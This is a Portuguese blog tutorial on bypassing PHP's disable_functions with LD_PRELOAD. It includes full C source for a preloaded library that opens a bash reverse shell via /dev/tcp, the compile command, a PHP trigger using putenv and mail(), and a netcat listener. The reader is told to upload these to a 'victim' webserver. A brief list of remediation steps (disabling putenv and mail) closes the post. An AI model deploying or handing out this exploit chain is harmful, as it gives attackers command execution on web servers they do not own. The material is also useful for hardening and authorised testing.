Bypass do disable_functions do PHP utilizando LD_PRELOAD

Bypass do disable_functions do PHP utilizando LD_PRELOAD

Neste post veremos como realizar o bypass do disable_functions do PHP utilizando a variável de ambiente LD_PRELOAD em ambientes Linux!

Lembre-se que para realizar este processo será necessário conseguir realizar upload de arquivos ao webserver!

O que é o disable_functions do PHP?

Antes de tudo, a disable_functions é uma diretiva do PHP que permite desativar funções em tempo de execução. Isso significa que, se uma função estiver listada nesta diretiva, o código PHP em execução não poderá chamá-la ou executá-la.

Normalmente, utiliza-se a disable_functions como medida de segurança para impedir que o código PHP execute funções perigosas capazes de comprometer a segurança do sistema. Por exemplo, funções como exec, system, shell_exec, passthru, popen e proc_open podem permitir a execução de comandos do sistema operacional diretamente a partir do código PHP, o que pode levar a vulnerabilidades de segurança.

O que é a variável de ambiente LD_PRELOAD?

A variável de ambiente LD_PRELOAD do Linux é uma variável utilizada pelo sistema operacional que permite carregar bibliotecas compartilhadas antes das bibliotecas padrão do sistema.

Por exemplo, um programa que foi compilado para usar a biblioteca libc.so pode ser executado com uma versão modificada da biblioteca libc.so usando LD_PRELOAD para carregar a biblioteca modificada antes da biblioteca padrão. Isso permite que o programa use as funções da biblioteca modificada em vez das funções da biblioteca padrão, o que pode ser útil para fins de depuração ou para adicionar funcionalidades extras.

Realizando o bypass

Utilizando a variável de ambiente LD_PRELOAD em conjunto de uma função do PHP que utilize um binário do Linux é possível executar comandos no sistema operacional no contexto do usuário do webserver.

Aqui estão alguns exemplos de funções que utilizam binários: imagick(), mail(), imap_mail(), libvirt_connect(), gnupg_init() e mb_send_mail().

Neste exemplo utilizaremos a função mail() que utiliza o binário sendmail.

Primeiramente, compile o código abaixo (teste.c) para criar a nossa biblioteca chamada teste.so. Lembre-se de alterar o IP 127.0.0.1 e a porta 80 pelo host e porta desejados para receber a reverse shell.

#define _GNU_SOURCE

#include <stdlib.h>
#include <stdio.h>
#include <string.h>


extern char** environ;

__attribute__ ((__constructor__)) void preload (void)
{
int i;
for (i = 0; environ[i]; ++i) {
if (strstr(environ[i], "LD_PRELOAD")) {
environ[i][0] = '\0';
}
}
system("0<&196;exec 196<>/dev/tcp/127.0.0.1/80; bash <&196 >&196 2>&196");
}

Compilando o código acima utilizando gcc:

gcc -shared -fPIC -o teste.so teste.c

Agora basta enviar a nossa lib maliciosa teste.so para o webserver da vítima, bem como o arquivo PHP abaixo:

<?php
putenv("LD_PRELOAD=/caminho/completo/do/teste.so");
mail("a","b","c","d");
?>

Por fim, será necessário utilizar netcat para escutar na porta 80 aguardando a reverse shell e enviar uma request para o arquivo PHP que foi enviado ao webserver:

nc -lvnp 80
Bypass disable_functions PHP

Recomendações de correção

  1. Adicionar a função putenv() no disable_functions
  2. Desabilitar funções do PHP que não estejam em uso e utilizem binários, como mail() e mb_send_mail()

Por fim, agradecemos a leitura e esperamos que este post tenha te ajudado de alguma maneira! Caso tenha alguma dúvida, entre em contato conosco pelo Telegram , Facebook ou Instagram ! Veja mais posts no IronLinux !

Posts relacionados

Explorando vulnerabilidade através do Metasploit

Explorando vulnerabilidade através do Metasploit

O que é o Metasploit? Metasploit Framework (MSF) é uma ferramenta open source utilizada para testes de invasão.

Ler post completo
Criação e manipulação de arrays com PHP

Criação e manipulação de arrays com PHP

As arrays, que também podem ser chamadas de vetores, têm como objetivo guardar de maneira uniforme os valores na memória.

Ler post completo
Bypass do Defender utilizando substituição de strings

Bypass do Defender utilizando substituição de strings

Substituição de strings é uma das técnicas utilizadas para realizar bypass de antivírus.

Ler post completo